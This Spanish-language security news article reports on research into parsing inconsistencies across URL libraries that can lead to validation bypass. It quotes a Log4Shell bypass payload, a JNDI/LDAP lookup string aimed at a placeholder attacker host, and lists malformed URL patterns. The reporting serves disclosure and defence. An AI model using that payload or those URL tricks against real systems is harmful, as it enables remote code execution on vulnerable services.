Podrían explotarse para obtener la ejecución remota de código o incluso realizar ataques de phishing

Un estudio de 16 diferentes bibliotecas de análisis de Uniform Resource Locator (URL ) ha descubierto inconsistencias y confusiones que podrían explotarse para eludir las validaciones y abrir la puerta a una amplia gama de vectores de ataque.

En un análisis profundo realizado conjuntamente por las empresas de seguridad cibernética Claroty y Synk, se identificaron ocho vulnerabilidades de seguridad en otras tantas bibliotecas de terceros escritas en lenguajes C, JavaScript, PHP, Python y Ruby y utilizadas por varias aplicaciones web.

"La confusión en el análisis de URL puede provocar un comportamiento inesperado en el software (por ejemplo, una aplicación web), y los actores de amenazas podrían explotarla para provocar condiciones de denegación de servicio, fugas de información o posiblemente llevar a cabo ataques de ejecución remota de código", dijeron en un informe los investigadores .

Dado que las URL son un mecanismo fundamental mediante el cual los recursos, ubicados localmente o en la web, pueden solicitarse y recuperarse, las diferencias en la forma en que las bibliotecas de análisis interpretan una solicitud de URL podrían representar un riesgo significativo para los usuarios.

Un ejemplo de ello es la falla crítica Log4Shell revelada el mes pasado en el omnipresente marco de registro Log4j, que se deriva del hecho de que una cadena controlada por un atacante malicioso, cuando se evalúa a medida que una aplicación vulnerable lo registra, da como resultado una búsqueda JNDI que se conecta a un servidor operado por un adversario y ejecuta código Java arbitrario.

Aunque Apache Software Foundation (ASF) solucionó rápidamente la debilidad, pronto se supo que las mitigaciones podrían evitarse mediante una entrada especialmente diseñada en el formato "${jndi:ldap://127.0.0[.] 1#.evilhost.com:1389/a}" que una vez más permite búsquedas JNDI remotas para lograr la ejecución del código.

"Esta omisión se deriva del hecho de que se usaron dos analizadores de URL diferentes (!) dentro del proceso de búsqueda JNDI, un analizador para validar la URL y otro para obtenerlo, y dependiendo de cómo cada analizador trate la porción Fragment (#) de la URL, la Autoridad también cambia", dijeron los investigadores.

url maliciosa

Específicamente, si la entrada se trata como una URL HTTP normal, el componente Autoridad (la combinación del nombre de dominio y el número de puerto) finaliza al encontrar el identificador de fragmento, mientras que, cuando se trata como una URL de LDAP, el analizador asignaría "127.0.0.]1#.evilhost.com:1389" completo como la Autoridad, ya que la especificación de la URL de LDP no tiene en cuenta el fragmento.

De hecho, el uso de múltiples analizadores surgió como una de las dos razones principales por las que se descubrieron las ocho vulnerabilidades, la otra son los problemas que surgen de las inconsistencias cuando las bibliotecas siguen diferentes especificaciones de URL, lo que efectivamente introduce una laguna explotable.

La disonancia varía desde la confusión que involucra una URL que contienen barras diagonales inversas ("\"), número irregular de barras (por ejemplo, https:///www.example [.]com) o datos codificados de URL ("%") hasta una a URL con esquema de URL faltante, que podría explotarse para obtener la ejecución remota de código o incluso realizar ataques de phishing o de denegación de servicio (DoS) y de redirección abierta.

"Muchos escenarios de ataque de la vida real podrían surgir de diferentes primitivas de análisis", dijeron los investigadores. Para proteger las aplicaciones de las vulnerabilidades de análisis de URL, "es necesario comprender completamente qué analizadores están involucrados en todo el proceso [y] las diferencias entre los analizadores, ya sea su indulgencia, cómo interpretan diferentes URL malformadas y qué tipos de URL admiten".

Recibe gratis nuevos artículos por email:
Inicia sesión para suscribirte en Youtube